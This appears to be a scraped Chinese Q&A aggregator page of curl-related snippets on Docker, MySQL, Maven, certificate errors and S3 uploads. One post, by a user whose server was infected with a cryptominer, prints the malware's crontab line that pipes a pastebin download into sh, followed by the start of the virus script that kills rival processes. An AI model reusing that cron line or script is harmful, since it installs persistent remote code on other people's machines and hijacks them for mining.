curl

「Docker Compose」- 配置 Bash 补全(Bash Completion) @20210123

坚强是说给别人听的谎言 提交于 2021-01-23 23:49:46
问题描述 在 Bash 中,配置 Docker Compose 补全,可以简化输入工作、提高输入准确性。 解决方案 第一步、确保已经安装 Bash Completion 功能; 第二步、安装自动补全: curl -L https://raw.githubusercontent.com/docker/compose/1.27.4/contrib/completion/bash/docker-compose \ -o ~/.local/share/bash-completion/completions/ 参考文献 WikiNotes/配置 Bash 补全(Bash Completion) Command-line completion | Docker Documentation 来源: oschina 链接: https://my.oschina.net/u/4948974/blog/4921824

Ubuntu 编译安装LNMP (二) 安装mysql

僤鯓⒐⒋嵵緔 提交于 2021-01-23 06:28:26
安装 : ①安装依赖 sudo apt install gcc g++ libxml2 libxml2-dev libssl-dev curl libcurl4-openssl-dev libgd-dev sudo apt install numactl sudo apt install libaio-dev sudo apt install cmake 注意: MySQL8.0需要用gcc的版本为 5.3以上 ②下载源码 源码包分为带boost版和不带boost版的,方便起见直接下载带boost的。 wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.16.tar.gz tar xzv -f mysql-boost-8.0.16.tar.gz cd mysql-8.0.16 ③编译安装 cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DMYSQL_DATADIR=/usr/local/mysql/data -DWITH_BOOST=boost -DFORCE_INSOURCE_BUILD=ON make && make install 如报错: c++: Internal error: Killed (program cc1plus) Please

The certificate chain issued by an untrusted authority

感情迁移 提交于 2021-01-22 17:53:13
问题 I am using the curl terminal and while issuing the following command :- curl --anyauth --user admin:admin "https://localhost:8000/LATEST/search?q=caesar" I am getting below alert :- curl: (77) schannel: next InitializeSecurityContext failed: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued by an authority that is not trusted. Please suggest. I have installed curl in Windows and also downloaded the .pem file and placed it in the same folder. 回答1: If your server has a self

The certificate chain issued by an untrusted authority

五迷三道 提交于 2021-01-22 17:50:46
问题 I am using the curl terminal and while issuing the following command :- curl --anyauth --user admin:admin "https://localhost:8000/LATEST/search?q=caesar" I am getting below alert :- curl: (77) schannel: next InitializeSecurityContext failed: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued by an authority that is not trusted. Please suggest. I have installed curl in Windows and also downloaded the .pem file and placed it in the same folder. 回答1: If your server has a self

The certificate chain issued by an untrusted authority

假装没事ソ 提交于 2021-01-22 17:50:32
问题 I am using the curl terminal and while issuing the following command :- curl --anyauth --user admin:admin "https://localhost:8000/LATEST/search?q=caesar" I am getting below alert :- curl: (77) schannel: next InitializeSecurityContext failed: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued by an authority that is not trusted. Please suggest. I have installed curl in Windows and also downloaded the .pem file and placed it in the same folder. 回答1: If your server has a self

The certificate chain issued by an untrusted authority

守給你的承諾、 提交于 2021-01-22 17:48:38
问题 I am using the curl terminal and while issuing the following command :- curl --anyauth --user admin:admin "https://localhost:8000/LATEST/search?q=caesar" I am getting below alert :- curl: (77) schannel: next InitializeSecurityContext failed: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued by an authority that is not trusted. Please suggest. I have installed curl in Windows and also downloaded the .pem file and placed it in the same folder. 回答1: If your server has a self

datax 编译安装

我的未来我决定 提交于 2021-01-22 17:44:00
1.centos系统maven安装参考 https://www.cnblogs.com/laoayi/p/12867990.html 1.下载 官网地址: http://maven.apache.org/download.cgi curl -O https://mirror.bit.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz 2.解压 tar -zxvf apache-maven-3.6.3-bin.tar.gz 3.修改环境变量 vim /etc/profile export MAVEN_HOME=/opt/maven/apache-maven-3.6.3 export PATH=$MAVEN_HOME/bin:$PATH source /etc/profile //使用环境变量生效 4.查看是否成功安装 mvn -version [root@ambari-03 maven]# mvn -version Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f) Maven home: /opt/maven/apache-maven-3.6.3 Java version: 1.8.0_181, vendor:

服务器中了挖矿病毒

夙愿已清 提交于 2021-01-22 15:30:23
这几天阿里云云服务器cpu一直跑满,一查发现有个定时任务,在搜索一下,发现自己中毒了,原来前几天搞redis学习的时候设置了个弱密码,被ssh暴力破解植入病毒了。 crontab -l */15 * * * * (curl -fsSL https://pastebin.com/raw/v5XC0BJh||wget -q -O- https://pastebin.com/raw/v5XC0BJh)|sh 在网上找到一片文章,但是病毒代码不太相同,还是不知道怎么解决,只能重装系统, 挖矿病毒 qW3xT.2 最终解决方案 https://blog.csdn.net/hgx13467479678/article/details/82347473 我再贴上那个病毒代码吧 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp chmod 1777 /tmp ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9 ps -ef|grep -v grep|grep get.bi-chi

docker安装使用以及tomcat部署超级详解

青春壹個敷衍的年華 提交于 2021-01-22 12:08:41
一,准备阶段 docker官网: https://docs.docker.com/get-started/ docker hub: https://www.docker.com/products/docker-hub 一台云服务器: https://swas.console.aliyun.com/#/servers ,尽量选centos版本安装。由于贫穷,本人只能使用一台学生机,还是最低配置1核2G,不过完全够用了 二,安装docker 1,打开xshell连接服务器 2,下载安装包 sudo yum install - y yum - utils 3,设置仓库镜像 yum - config - manager \ -- add - repo \ http : / / mirrors . aliyun . com / docker - ce / linux / centos / docker - ce . repo 4,更新yum软件包索引 yum makecache fast 5,安装相关的docker docker-ce为社区版 docker-ee 为企业版 yum install docker - ce docker - ce - cli containerd . io 6,启动docker systemctl start docker 7,查看是否安装成功,如若出现安装成功

How to do `PUT` on Amazon S3 using Python Requests

a 夏天 提交于 2021-01-21 07:53:14
问题 I am trying to upload a file to Amazon S3 with Python Requests (Python is v2.7.9 and requests is v2.7). Following the curl command which works perfectly: curl --request PUT --upload-file img.png https://mybucket-dev.s3.amazonaws.com/6b89e187-26fa-11e5-a04f-a45e60d45b53?Signature=Ow%3D&Expires=1436595966&AWSAccessKeyId=AQ But when I do same with requests, it fails. Here's what I have tried: url = https://mybucket-dev.s3.amazonaws.com/6b89e187-26fa-11e5-a04f-a45e60d45b53?Signature=Ow%3D&Expires